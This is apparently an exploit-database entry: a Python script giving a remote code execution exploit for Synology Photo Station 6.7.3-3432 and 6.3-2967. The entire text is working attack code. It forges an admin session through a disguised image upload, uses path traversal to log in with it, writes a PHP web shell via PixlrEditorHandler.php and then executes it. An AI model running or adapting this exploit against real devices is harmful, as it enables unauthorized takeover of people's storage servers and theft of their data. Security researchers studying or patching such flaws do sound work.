Synology Photo Station 6.7.3-3432 / 6.3-2967 - Remote Code Execution

import requests # What server you want to attack synology_ip = 'http://192.168.1.100' # Your current IP ip = '192.168.1.200' # PHP code you want to execute php_to_execute = '<?php echo system("id"); ?>' encoded_session = 'root|a:2:{s:19:"security_identifier";s:'+str(len(ip))+':"'+ip+'";s:15:"admin_syno_user";s:7:"hlinak3";}' print "[+] Set fake admin sesssion" file = [('file', ('foo.jpg', encoded_session))] r = requests.post('{}/photo/include/synotheme_upload.php'.format(synology_ip), data = {'action':'logo_upload'}, files=file) print r.text print "[+] Login as fake admin" # Depends on version it might be stored in different dirs payload = {'session': '/../../../../../var/packages/PhotoStation/etc/blog/photo_custom_preview_logo.png'} # payload = {'session': '/../../../../../var/services/photo/@eaDir/SYNOPHOTO_THEME_DIR/photo_custom_preview_logo.png'} try_login = requests.post('{}/photo/include/file_upload.php'.format(synology_ip), params=payload) whichact = {'action' : 'get_setting'} r = requests.post('{}/photo/admin/general_setting.php'.format(synology_ip), data=whichact, cookies=try_login.cookies) print r.text print "[+] Upload php file" c = {'action' : 'save', 'image' : 'data://text/plain;base64,'+php_to_execute.encode('base64'), 'path' : '/volume1/photo/../../../volume1/@appstore/PhotoStation/photo/facebook/exploit'.encode("base64"), 'type' : 'php'} r = requests.post('{}/photo/PixlrEditorHandler.php'.format(synology_ip), data=c, cookies=try_login.cookies) print r.text print "[+] Execute payload" f = requests.get('{}/photo/facebook/exploit.php'.format(synology_ip)) print f.text